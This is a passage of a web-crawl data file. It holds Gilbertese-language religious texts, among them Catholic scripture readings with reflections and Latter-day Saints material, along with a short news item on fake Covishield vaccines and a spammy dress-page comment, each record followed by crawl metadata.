kawaina n tokinikai iaon te mate ba E na mangauti. Teuana te titiraki ae tabekaki n te ewangkerio n te bong aio bon te titiraki ae kangai; \"ba antai ae ae na rin te Abanuea ae Karawa? Eng ti kauringaki n te bong ba te koraki aika a na rin n te Abanuea ae Karawa bon ake a nanorinano n aroia ataei aika uarereke. Ataei aika uarereke bon te koraki ake a muiokoi aroia inanon bain tinaia are boni ngaia ae tauraoi ni buokira ao ni kawakinira ba ti bane n roko n tokin kawaira are E a tia ni katauraoia Iesu ibukira.\nN te bong aio ao ti bon kauringa naba ana toa St Teretia n Iesu Te Tei are e a tia kabanea maiuna ni kukureia Iesu n ana ongotaeka, ana nanorinano, ao ana nimamanei. Teuana ana reirie ae moan te tikiraoi ba te kona ni katonga Karawa ikai iaon te aba mani karaoan raoi makuri aika a managori mani uarereke ma te kukurei ao te kakaonimaki. Ti na butia naba St Teretia ba e na buokira mai Karawa ni kakaraoa Nanon te Atua.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1679-antai-ae-na-rin-n-te-abanuea-ae-karawa","date":"2021-10-17T01:28:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585045.2\/warc\/CC-MAIN-20211016231019-20211017021019-00098.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":872,"character_repetition_ratio":0.057,"word_repetition_ratio":0.009,"special_characters_ratio":0.225,"stopwords_ratio":0.367,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nuun te Tamnei ae Raoiroi[edit | edit source]\nTe Tamnei ae Raoiroi bon te kateniman mairouia Taian Atua. Bon kaanga nuun te tamnei ao akea rabwatana ae te iriko ao riina (tara D&C 130:22). Bon te Tia Ibuobuoki, are e a tia ni karaoa ana berita te Tia Kamaiu bwa E na reireiniia taan ririmwiina bwaai ni kabane ao E angania te kona n uring bwaai ni kabane ake E a tia n reireiniia (tara Ioane 14:26).\nMwaakan te Tamnei ae Raoiroi[edit | edit source]\nTe kakoaua are roko nakoia taan ukeuke aika a kokoaua imwaain rokona rinanon mwaakan te Tamnei ae Raoiroi. \"Mwaakan te Tamnei ae Raoiroi e kona n roko nakon te aomata imwaain te bwabetito ao ni kakoaua bwa te euangkerio e koaua\" (The Guide to the Scriptures, \"Holy Ghost\"). E angan temanna kakoauan Iesu Kristo ao ana mwakuri ana toro iaon te aonaaba. E kakoaua te koaua te Tamnei ae Raoiroi. A kona aomata ni kabane n ataa koauan Ana Boki Moomon rinanon mwaakan te Tamnei ae Raoiroi. \"Ao mani mwaakan te Tamnei are Raoiroi ao kam na kona n atai kakoauan bwaai ni kabane\" (Moronaai 10:5).\nAna bwai n tituaraoi te Tamnei ae Raoiroi[edit | edit source]\nTaan ukeuke ake a karekea te kakoaua a tuai ni karekea te berita ibukin ana iraorao ae teimatoa te Tamnei ae Raoiroi. E taku Iotebwa Timiti: \"Iai te kaokoro imarenan te Tamnei ae Raoiroi ao ana bwai n tituaraoi te Tamnei ae Raoiroi. E karekea te Tamnei ae Raoiroi Konenerio imwaain bwabetitoana, are bon mwaakan te Atua n anainano nakoina ibukin kakoauaan te Euangkerio, ma e aki kona ni karekea ana bwai n tituaraoi te Tamnei ae Raoiroi ni karokoa imwiin are e a tia ni bwabetitoaki. Ngke arona bwa e aki katoka iaona te kanikina aei ke te otenanti aei, te Tamnei ae Raoiroi are e anaa nanona nakon ana koaua te Atua, e na tia ni kitanna \" (History of the Church, 4:555).\n\". . . te inaomata ni karekea ana iraorao te Tamnei ae Raoiroi ae teimatoa, bwa tao e kororaoi temanna, bon te bwai n tituaraoi are e kona ni karekeaki ti man katokaan baai mairoun are iai irouna te Nakoanibonga ae te Merekitereka imwiin te bwabetito are e kariaiakaki inanon Ana Ekaretia Iesu Kristo ae eti (The Guide to the Scriptures, \"Holy Ghost\"). Ngkai ngkoe kaain te Ekaretia, ko a tia ni karekea ana bwai n tituaraoi te Tamnei ae Raoiroi man te kariaiakaki n te nakoanibonga. E anganiko te kariaiakaki te bwai n tituaraoi aei nakon ana iraorao ae teimatoa te Tamnei ae Raoiroi ngkana ko teimatoa ni kororaoi iai. Tataro ibukin ana kairiiri te Tamnei, ao man iriira ana wirikiriki te tamnei are ko karekea ma te ninikoria.\nTe Tamnei ae Tabu n te Berita[edit | edit source]\nTe Tamnei ae Raoiroi e nanonaki naba n te Tamnei ae Tabu n te Berita (tara D&C 88:3). Te kabaeaki iroun te Tamnei ae Tabu n te Berita nanona bwa te Tamnei ae Raoiroi e kamatoa te mwakuri ae raoiroi anne, taian otenanti ao berita aika tabu a kariaiakaki iroun te Atua. Te Tamnei ae Tabu n te Berita e kakoaua nakon te Tama bwa e a tia ni karaoaki raoi te otenanti ni kamaiu ao berita aika tabu ake a irekereke ma ngaai a tia ni kawakinaki. Te koraki ake a tia ni kabaeaki iroun te Tamnei ae Tabu n te Berita a karekei bwaai ni kabane ake iai iroun te Tama (tara D&C 76:51–60; I-Ebeto 1:13–14). Berita aika tabu ao mwakuriaia ni kabane a riai ni kabaeaki iroun te Tamnei ae Tabu n te Berita ngkana a na kariaiakaki imwiin te maiu aei (tara D&C 132:7, 18–19, 26). Uruakan berita aika tabu a kona ni kanakoa te kabaeaki aei.\nAna Bwai n Tituaraoi te Tamnei[edit | edit source]\nAna bwai n tituaraoi te Tamnei bon kakabwaia n tamnei aika onoti are e anga te Uea nakoia aomata ake a kororaoi ibukin oin kabwaiaia ao ibukin kamanenaaia ni kakabwaiaia tabeman. N aron te katooto, mitinare ake a na reirei te taetae ae boou a kona ni karekea te bwai n tituaraoi n neewe are e na anganiia te kona te ibuobuoki mairoun te Tamnei n reiakina te taetae. A kabwarabwaraaki ana bwai n tituaraoi te Tamnei tabeua ni Moronaai 10:8–18; Doctrine and Covenants 46:11–33; ao 1 I-Korinto 12:1–12. Aikai bon bwaai ni katooto tabeua ibukin ana bwai n tituaraoi te Tamnei aika mwaiti. E kona te Uea ni kakabwaiako n aaro riki tabeua ni kaineti nakon am kakaonimaki, baika ko kainnanoi ibukiia te koraki ake ko beku ibukiia. Ko riai n tangiri bwaai n tituaraoi n tamnei ma n ukeuke mwaaka ibukiia (tara D&C 46:8; 1 I-Korinto 12:31; 14:1, 12). Bwaai n tituaraoi aikai a roko man te tataro, te onimaki, ao te mwakuri, ni kaineti ma nanon te Atua (tara D&C 63:9–12; 84:64–73).","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/incubator.wikimedia.org\/wiki\/Wp\/gil\/Te_Tamnei_ae_Raoiroi","date":"2021-10-21T03:13:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585380.70\/warc\/CC-MAIN-20211021005314-20211021035314-00517.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":782,"character_repetition_ratio":0.14,"word_repetition_ratio":0.005,"special_characters_ratio":0.235,"stopwords_ratio":0.403,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kamatoaki man te botaki n rara i India ae te Serum Institute of India, bwa a fake iti n totoko aikai. Ao e tabe ni waki ana kakae te tautaeka ni India iaon aei.\nTe Covishield e karaoaki i India bwa ena kaototonga raoi te Astra Zeneca. Covishield bon ana iti n totoko WHO ae akea boona.\nIndia: Covishield ana No1 ni iti India\nE ataaki bwa ea tia ni kabonganaaki Covishield iaon Asia, South America ao Africa nte mwaiti ae raka iaon 486 te mirion. E ataaki naba ae India ea tia n bwaintangirai ana iti aikai nakon aba ake irarikina ngke e kaiangatoa ma China iaon bwaintangiran te iti n totoko. (1)\nE taekinna India ae ea kaman katoka iokinibwaian ana Vaccine ngke e korakora butin Covid Delta ikekei inanon Eberi ao May. Ao ni kaungaia onaoraki bwa ana kaboi aia iti n totoko n taabo ake a tia n reke aia raitinti ni kabonakoan te iti n totoko.\nIaon Mexico ao a kuneaki taan mwakuri bwa akewe ni itinia aomata, ao manga kabonakoi iti aikai nte black market.\nhttps:\/\/youtu.be\/4qd2RmjAmJs\nMexico: e kewe ni iti te neeti\nA tia ni bane itia 13% kani te aonnaba ao e kantaningaki bwa tabeman mai buakoia ana manga kainanoa te manga itinaki riki.\nMa tina aki raraoma bwa ana iti n totoko Kiribati ae te Astra Zeneca a karaoaki mai Australia.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/mwaneaba-newsroom.medium.com\/tabeua-ana-iti-n-totoko-who-taian-katoto-fake-7cbd79355ab?source=post_internal_links---------6-------------------------------","date":"2021-12-03T00:37:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362571.17\/warc\/CC-MAIN-20211203000401-20211203030401-00414.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":228,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.346,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 33 Moanibong\nWarekan te moa ni Boki ae taekaia Makabe. 1: 10-15, 41-43, 54-57, 62-64\nI buakoia uea ake a tautaeka i muin Arekantera, ao e riki temanna te aomata ae koron te buakaka, ba Antiokuti Ebibaniti, are natin te uea ae Anetiokuti. E tauaki moa I Roma ba te bure, ao imuina e riki ba te uea, n te ririki tebubua tenibui ma ruaiua, ae ririkin te abanuea n Erene.\nN tai akekei, ao a kaoti mai buakoia Iteraera tani kakiriwe, ake a mamanaia aomata ake a maiti ni kangai: \"Kaaraki, ti na kaboi nanora ma botanaomata ni bekan aika i rarikira nako, ba a bakarira rawawata aika bati mangke ti raure nako ma ngaia.\" A kukurei n te taeka anne, ao a ienikuri kain aonteaba tabeman ni kawara te uea, ao e katauia te uea ba a na bain aia katei bekan. A katea aia marae n takakaro, ni kakairi irouia bekan; a karabai korotobibiaia; a kaki ana Berita te Atua; a toronia i an aia katei bekan, ao a anga ngaia ba a na karaoa ae buakaka. E katanoata ana moti te uea ae Antiokuti i aon abana n uea ni kabanea, ba a na bane n riki ba te botanaoamta ae ti teuana, ao a na kaki aia katei nako. A bane bekan ni ira nanon ana moti te uea. A maiti naba Iteraera ake a butimaea ana Aro te uea, ma n taromauri boua ma ni kaki taekan te tabati. N te bong are te katebui ma nimaua, n te namakain ae Kitireu, n te ririki tebubua abui ma nimaua, ao e katea te baere koron te Riribaki te uea i aon te baonikarea.\nA kateaki baonikarea i nanoni kawani Iuta aika katobibia Ierutarem. E kabuokaki te ribano ni mataroan auti ao i nanoni kawain te kawa. Bokin te Tua ake a kuneaki, a bane n raereaki ma n tewenakoaki n te ai. Te aomata are e noraki bokin te Berita irouna, ke te aomata are ira nanon te Tua, ao e kamateaki, n ana moti te uea.\nMa a teimatoa Iteraera ake a maiti, ao e reke korakoraia n aki kana te amarake ae kamara. A tangira riki te mate nakon te bure n te amarake ao nakon te riaon ana Berita te Atua. Ao a boni mate. Bon te un ae korakora are bakaria Iteraera.\nTe Taramo 118: 53, 61, 134, 150, 155, 158\nKaekana: Buokai, te Uea, ni kawakin am tua.\nE rotai te un ngkana I noria akana buakaka, aika kaki am Tua.\nA rabunai aia kamane tani ioawa, ma I aki manuokina am Tua. K.\nKamaiuai man aia ioawa aomata, Ao N na kawakin am moti.\nA nakomai tani bainikirinai aika buakaka, A raroa nako am Tua. K.\nE raroa te kamaiu ma akana ioawa, Ba a aki mutiakin am moti.\nE maraki nanou irouia tani kewe, Ba a aki kawakina am taeka. K.\nAlleluia, alleluia.\nKaurei matau, te Uea, Ao N na nori kamimi aika muin am tua. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka. 18: 35-43\nNgke E a kani ma Ieriko Iesu, ao e tekateka temanna te mataki i rarikin te kawai, ni bubuti kanana. E ongo nakonakon te koraki, ao e titiraki ba tera. Ao e kaongoaki ba boni Iesu ae te I Natareta are toua te kawai. Ao e takarua ni kangai: \"Iesu ae natin Tawita, nanoangaai.\" A tiringnga uake a rimoa ba e na aki karongoa. Ma e a tiba takarua riki ni kangai: \"Natin Tawita, nanoangaai.\" E tei Iesu, ao E tua ba e na kairaki nakoina. Ngke e roko, ao E titirakinna ni kangai: \"Tera ae ko tangiria ba N na karaoia nakoim?\" E taku teuarei: \"Te Uea, I bia noraba.\" E taku Iesu nakoina: \"Ko na noraba, e a kamaiuko am onimaki.\" Ao e noraba naba. Ao e ira nako Iesu ma n neboa te Atua. Ao a bane ni kamoamoa te Atua aomata ake a nora anne.\nTibatiba: Te Uea I kan noraba\nTariu ao maneu ai te kauoua n tai aio ae ti ongora iai n te Euangkerio aio ae taekan te mataki are kan kamaiuaki ba e mataki ao ngke e ongo ba e rikekei Iesu ao e takarua \"Iesu ae natin Tawita, Ko na nanoangai\" Ao ngke E kawatia Iesu man titirakinna ba tera ae na ibukina ao e taku te mataki;\" I kan noraba\" E kaeka Iesu ao E kangai:'Ko na noraba, E a kamaiuko am onimaki\".\nTariu ao maneu tera raoi nanon te noraba are anganaki te mataki. E kamatata te Euangkerio ni kaota te bai ae riki nakon te mataki imuon kamaiuakina ba e ira Iesu man neboa te Atua ao a bane aomata ake a nora anne ni kamoamoa te Atua. Eng te bai ae ti tuangaki ikai ba inanon maiura aio ao nanon te noraba ae ti riai ni karekea man te karaki aio bon te kona n nora otan Iesu are e na kaita te kawai ae ti riai n toua n ririmuin Iesu. Te noraba inanon maiura aio bon te tauraoi ni kakeaiara i bin iroura, n tabeka ara kaibangaki ao n irira Iesu ni katoa. Tariu ao maneu bon aio ana kantaninga te Atua ibukira ngaira aika ti noraba ba ti na irira Iesu. Ao ti nora kawaira ngkana ti nora te kawai ae toua Iesu ao ti iriria. Kaniwangara ngkana ti irira Iesu n te maiu aei bon te kona ao n n itaramata ma Ngaia te maiu ae na roko. Aio are bon te kabanea ni kakawaki ao ni kakannato ni kaniwanga ae tauraoi ibukira ba te kona n nora matan Iesu ao te maiu ma Ngaia inanon te kabaia ao te mimitong ae akea tokina . Ma te bai ae riki teuana ae ti kakoaua ngkana ti rin n Abanuean te Atua bon te kaitiakaki n raran ae moan te tabu ,am ara bure nako ao aio e na reke nakoia akana a uouota te kaibangaki are tauraki iaona Iesu ao are e ikoaki iaon te kaibangaki ni kawawaea Rarana ae maon te tabu ba ti aonga ni kaitiakaki man ara bure.\nAio bon aron kabarabarakia te koraki ake a tei imatan Iesu ake a kan mora matan te Atua ao a tia ni kaitikaki aia kunikai n raran Iesu are tine ni maraki iaon te kaibangaki.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1701-te-uea-i-kan-noraba","date":"2021-12-04T14:30:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362992.98\/warc\/CC-MAIN-20211204124328-20211204154328-00468.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":1035,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.406,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 34 Kauabong.\nWarekan ana Boki te burabeti ae Taniera. 2: 31-45\nE taku Taniera nakon te uea ae Nebukaneta: \"Te Uea, ko mi, ao ko nora te tamnei, ba te tamnei ae moan te raneanea: e tei i matam ao e kakamaku taraana. Atuna, bon te koora ae itiaki; babana ma baina, bon te tirewa; birotona ma rangana, te burati; waena ma taboniwaena, bon te biti makorona, ao te tano makorona. Ko tabe n taraia, ao e rebenako te atibu, n aki karenakoaki iroun te aomata, ao e oroi waen te tamnei, ao a maerikiriki, waena ake biti ma tano. Ao a uaia ni maerikiriki te biti, te tano, te burati, te tirewa ao te koora. Ai aroni mangen te uita i nanon te marae n tain te kabuebue, a ubaranako n te ang ao a aki noraki muia. Ao te atibu are orea te tamnei, e riki ba te maunga ae ababaki ao kaona aonaba ni kabanea. Bon anne te mi, ao ti na kaota nanona i matan te uea.\nBoni ngkoe te uea, ae aia uea uea, ao ko anganaki iroun Atuani karawa te tautaeka, te maka, te korakora ao te mimitong. E anganiko naba natia aomata, manin aon te aba ao manini karawa n tabo nako ike a maeka iai, ba ko na tautaeka i aoia. Boni ngkoe te atu ae te koora. I muim ao e na teirake te abanuea teuana, ae na mangori riki nakoim; ao i muina, te abanuea teuana ae te katenua, ae te burati, ae na tautaeka i aonaba ni kabuta. E na iai te kaaua n abanuea, ae n matoatoa n ai aron te biti. N ai aron te biti ae ibei ma ni iki bai ni kabane, ao e na urui ma ni kamaei abanuea akekei ni kabane, n ai aron ana urubai te biti. Ko nori wae ma taboniwae, ake a renganaki iai te tano ni karao mangko ma te biti: bon te abanuea ae makoroua; iai i nanona matoatoan te biti, n ai aron are ko nora te biti ae renganaki ma te tano ae bokaboka. Ngkai a renganaki te biti ma te tano n taboniwae akanne, ao e na matoatoa makoron te abanuea anne, ao e na maraurau are te makorona. A na renganaki naba aomata, n ai aron are ko nora te biti n renganaki ma te tano, ma a na aki nim i boni irouia, n ai aron te biti ae aki bo ma te tano. N aia tai uea akanne, ao E na kateirakea te abanuea teuana Atuani karawa: bon te abanuea ae na aki ururuaki, ao e na aki nakon te botanaomata teuana. E na urui ma ni kamaunai abanuea akekei ni kabane, ao e na teimatoa ngaia n aki toki. N ai aron are ko nora te atibu are rebenako man te maunga, n aki karenakoaki iroun te aomata, ao e urua te biti, te burati, te tano, te tirewa ao te kora. E kaotia iai te Atua ae kakanato nakon te uea ba tera ae na riki rimui. E koaua te mi, ao e eti kabaran nanona.\"\nTe Taramo Taniera 3: 57-61\nKaekana: Karaoiroia, neboia n aki toki.\nNgkami ana makuri te Uea, Karaoiroa te Uea.\nNgkami ana anera te Uea, Karaoiroa te Uea.K\nNgkami ana karawa te Uea, Karaoiroa te Uea.\nNgkami ranin etani karawa, Karaoiroa te Uea?\nNgkami makan te Uea, Karaoiroa te Uea. K\nAlleluia, Alleluia\nTantani, ao tauraoi, ba ko aki ata te tai ae E na roko iai Natin te aomata Alleluia.\nEuangkerio.\nWarekan ana Euangkerio Ruka. 21: 5 – 11\nA taekina te temboro temangina ma katamaroana n taian atibu aika raraoi ma taiani karea. Ao E taku Iesu: \"A na roko bong aika e na aki tiku iai te atibu teuana i aon te atibu teuana ni baika kam tarai akanne: a naba bane n uruaki.\" Ao a titirakinna ni kangai: \"E na roko ningai anne? ao tera te kanikina ae e na ataki iai rokona?\" E kaekaia ni kangai: Noria ba kam na aki mamanaki ba a na bati aika a na riki n aatauman taku ba 'Boni ngai!' ke 'E a kan te tai.' Tai irarang irouia. Ngkana kam ongo taekan taiani buaka ma kiriwe, ao tai maku, ba a na bane ni kaoti moa baikanne, ma e tuai n roko naba te toki.\" Ao E manga taku nakoia: \"E na teirake te botanaomata teuana n eka nako te botanaomata teuana, ao te abanuea teuana. A na korakora rurun aon te aba, ao n tabo tabeua a na buti aoraki aika kamamate, ao a na kaoti taian rongo, a na noraki baika kakamaku ao kanikina aika ababaki i karawa.\".\nTibatiba: Tantani, ao tauraoi, ba ko aki ata te tai ae E na roko iai Natin te aomata\nTariu ao maneu ngkai ti a roko n tokin ana karenta te Ekaretia ao ti kauringaki ba ti a tabe n roko n tokin kawaira ao tokin te tai. N te bong aio ao ti kauringaki n te Alleluia ba ti riai n tantani ba ti aki ataa te tai ae na roko iai Natin te Aomata. Eng bon aio taekan manga rokon Iesu are e na roko inanon te maka ma te mmimitong ba E na motika taekan aonnaba. Aio te tai are a na motikaki iai taekara nakon te maiu ae akea tokina ke te mate mate ae akea tokina. Aio te tai are e nang toki iai ara tai ni kona ni bubutia te Atua ana nanoanga ma kabaran ara bure. Aio te tai tai are e a toki iai kakaean ana nanoanga te Atua iroun Natina ae Iesu.\nInanon te euangkerio ao e kaota aron te tai aio Iesu are a na bon akea te atibu teuana ae e na toka iaon te atibu teuana. Aio te tai are a na uruaki bai nako ake ti a tia ni mataiakin inanon maiura aio.\nMa ningai te tai ae na roko iai Iesu ke tera taian kanikina aika a kaota rokin te tai aio? Eng bon akea ana kamatata Iesu iaon rokon te toki ma bon iai kanikina aika e na kaotia ba e kan te tai. Ma ibukina ba akea ae kona n ata raoi te tai ae na manga roko iai Natin te Aoamata ao te bai ae kakawaki iroura ba ti riai n tantani ke ti riai n tauraoi n tai nako. Tiai n aki matu ma ti na taratara ba ngkana E roko Iesu ao ti na tauraoi ni butimaea ma baan ara taura are bon taian raoiroi aika ti kakaraoi n aron ana kantaninga te Atua.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1707-tantani-ao-tauraoi-ba-ko-aki-ata-te-tai-ae-e-na-roko-iai-natin-te-aomata","date":"2021-12-04T14:06:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362992.98\/warc\/CC-MAIN-20211204124328-20211204154328-00409.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":1091,"character_repetition_ratio":0.057,"word_repetition_ratio":0.015,"special_characters_ratio":0.241,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Heii Nei Bubura n asuu are\nTaatu\nare t kabanea n ababaki ao Nei Sioka are\nTebukaruru\nare th kabanea n adorable abakina\n😘\nSimply bcos U put on a similar white get dressed at the Commencement then you definately'll have a similar flight nowadays 😢 😢\nHave a secure flight the complete technique to Fiji and might God be with U on year travel ao iaqoii raoii ami reirei ao an katoka t baere t mena arei 😉 😉\nTariuu ohh Im gonna omit u badly ao n missna ami nicknames aikaii ma tau sa maga bn kaisibooaki n ababakin t maiu ao are bn areii nb Naako ao tai ieiein ikekeii ba waysang cup ae nonetheless waitinq cute graduation dresses 😢 😢\nTaqirii qkamii tariu ao tekeraoii qkamii 💕 💕","id":"","dump":"CC-MAIN-2021-49","url":"http:\/\/www.alldesigndress.com\/cute-graduation-dresses.html","date":"2021-11-29T11:31:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358705.61\/warc\/CC-MAIN-20211129104236-20211129134236-00517.warc.gz","language":"gil","language_score":0.9693917632,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9693917632102966}","num_words":123,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":0.943,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ana Boki Moomon bon te rongorongo ae tabu ibukiia te botanaomata i Amerika ngkoa ao e koreaki i aon bwaatua aika taian biti. Bwaai are a reke mai iai kanoan te rekoti aio a irianaki ma aika kaotaki ikai:\nAna Bwaatua Nibwaai, aika uoua aekaia: bwaatua aika a uarereke ao bwaatua aika a bubura. Bwaatua aika a Uarereke a katauaki iai bwaain te maiu n tamnei ao te mwakuri ni ibuobuoki ma aia reirei burabeti, ao angiin kanoan bwaatua aika a buubura bon taekan kanoan maiuia aomata ake a taekinaki (1 Nibwaai 9:2–4). E ngae n anne, man ana tai Motiaea, ao a taekinaki naba bwaai aika a kakawaki ibukin te maiu n tamnei i nanon bwaatua aika a buubura.\nAna Bwaatua Moomon, aika kanoana bon kakimototoan rongorongo ake a koreaki iroun Moomon man ana bwaatua Nibwaai aika a buubura, ma kabwarabwara aika a rawata. I nanon naba taian bwaatua aikai bon reitan ana rongorongo Moomon ma rongorongo aika a karinaki iroun natina ae Moronaai.\nAna Bwaatua Ita, are a taekinaki iai rongorongoia Iaretaite. E kakimototoaki te rongorongo aio iroun Moronaai, are e a karin naba oin ana kabwarabwara ao e boota te rongorongo aio ma te rongorongo ae tabangaki i an te atu ae \"Ana Boki Ita.\"\nTaian Bwaatua aika Buraati, aika a uotaki irouia ana botanaomata Riaai mai Ierutarem n te ririki 600 I.K. Kanoana bon \"ana boki Mote aika nimaua, … ao rongorongoia naba Iutaia man moan rikin bwaai, … ni karokoa moan ana tautaeka Tetekia, uean Iuta; ao aia taeka ni burabeti naba burabeti aika a tabu\" (1 Nibwaai 5:11–13). A mwaiti taian anaitaeka man bwaatua aikai, aika a taekin ana koroboki Itaia ma burabeti riki tabemwaang man te Baibara ao burabeti aika a aki oti n te Baibara, ae a oti i nanon Ana Boki Moomon.\nN Ana Boki Moomon bon iai tebwi ma nimaua oin mwakoro i nanona, aika a ataaki bwa boki, ae aranaki n aran te aomata are e koroi, ma ti teuana ae kaokoro. Te moan mwakoro (taian boki aika onoua mai moana, n toki n Ana Boki Ominai) a rairaki man Ana bwaatua Nibwaai aika uarereke. I marenan ana boki Ominai ma ana boki Motiaea bon taeka aika a karinaki ae e aranaki bwa Ana Taeka Moomon. Taeka aika a karinaki aikai a tomai taian rongorongo ake a koreaki i aon bwaatua aika a uarereke ma rongorongo ake a kakimototoaki iroun Moomon man bwaatua aika a buubura.\nTe kabanea n abwaabwaki ni mwakoro, man Motiaea ni karokoa Moomon mwakoro 7, bon rairan kakimototoan rongorongo iroun Moomon man ana bwaatua Nibwaai aika a bubura. Te kabanea ni mwakoro, bon man Ana boki Moomon mwakoro 8 ni karokoa tokin te boki, a koreaki iroun natin Moomon ae Moronaai, are ngke e tia ni korea rongorongon maiun tamana, ao e karaoa kakimototoan rongorongoia Iaretaite (ae ana boki Ita) ao rimwi riki e a karina te mwakoro ae e ataaki ngkai bwa ana boki Moronaai.\nTao n uakaan ma te ririki ae 421 N.K., Moronaai, ae te kabanea ni burabeti mai i buakoia Nibwaite, ae te tia koro rongorongo, e a kaina te rongorongo ae tabu ma ni karaba ibukin te Uea, bwa e na manga kaokaki ni boong aika kaitira, n aron are e taekinaki ni bwanaan te Atua rinanoia Ana burabeti ni kawai. N te ririki 1823 N.K., Moronaai aio, are e riki ngkanne bwa te aomata ae e a tia ni manga kautaki, e a kaoti nakon te Burabeti ae Iotebwa Timiti ao e anganna taian bwaatua ake a korobokiaki\nNi kaineti ma te boki aei: Te iteraniba ibukin atuuna are te oi, are i mwaain raoi te iteraniba ibukin kanoana, e bon anaaki man bwaatua ao bon mwakoron te koroboki ae tabu. Taian kabwarabwara ake aki taibinaki n te manrara, n aron are n 1 Nibwaai ao i mwain raoi Motiaea mwakoro 9, bon mwakoron naba te koroboki ae tabu. Kabwarabwara n te manrara, n aron are n atuun mwakoro, bon tiaki taian oi nakon te koroboki ma bon taian bwai n ibuobuoki n te kamatebwai ibukin kanakoraoan te wareware.\nTabeua kairua aika uarereke ni kanoana a tia ni reitinako ni booki aika boretiaki n taai aika nako n Ana Boki Moomon are e otinako n te Ingiriti. Iai n te boki aei kaetana ake a tara n riai ibukin katiteboan kanoana ma koroboki ake i mwaain boretiakina ao bokina ake a moan boretiaki ake a katauraoki i mwaain boretiakiia iroun te Burabeti ae Iotebwa Timiti.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.churchofjesuschrist.org\/study\/scriptures\/bofm\/explanation?lang=gil","date":"2021-12-08T10:18:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363465.47\/warc\/CC-MAIN-20211208083545-20211208113545-00180.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":733,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.404,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Avenete Wiki 1 Kauabong Sto Anterea te Abotoro\nWarekan ana Reta Bauro nakoia I Roma…10: 9-18\nNgkana ko kaotia ni wim ba te Uea Iesu, ao ngkana ko kakoaua i nanom ba E kautia te Atua mai buakoia mate, ao ko na kamaiuaki. Ba e karaoiroaki te aomata n te kakoaua ae i nanona, ao e kamaiuaki n te kaotioti ae i nanoni wina. Ba e kangai te koroboki: \"Ane kakoaua, ao e na aki maneang.\" Ai ngaia ae akea okoron te I Iutaia ma te I Erene, ba ti Temanna aia Uea, ae tituaraoi nakoia akana butia. Ba \"ane wetea aran te Uea, ao e na kamaiuaki.\"\nMa a na kanga ni wetea aran te Uea, ngkana a tuai ni kakoaua? A na kanga ni kakoauaa ngkana a tuai n ongo taekana? A na kanga n ongo taekana ngkana akea te tia taekinna? Ao antai te tia taekinna ngkana e aki kanakoaki? Ba e kangai te koroboki: \"Ai tamaroa ra waeia tani uoti rongorongo aika raraoi!\" Ma a aki bane ni ira nanon te Rongorongo ae Raoiroi. Ba e kangai Itaia: \"Te Uea, antai ae kakoauai ara taeka?\" Ma ngaia e e reke te onimaki man te ongora, ao e reke te ongora man ana taeka Kristo.\nMa I taku: Tao a tuai n ongo? A bon ongo, ba \"A tangi banaia n tabo nako, ao a roko aia taeka i tabon aonaba.\"\nTe Taramo 18: 2-5\nKaekana: E buta aonaba n aia taeka.\nE katanoata mimitongin te Atua karawa, E kaota muini baina tinanikuni karawa.\nE karakina te ngaina nakon te ngaina, E kaota taekana te bong nakon te bong. 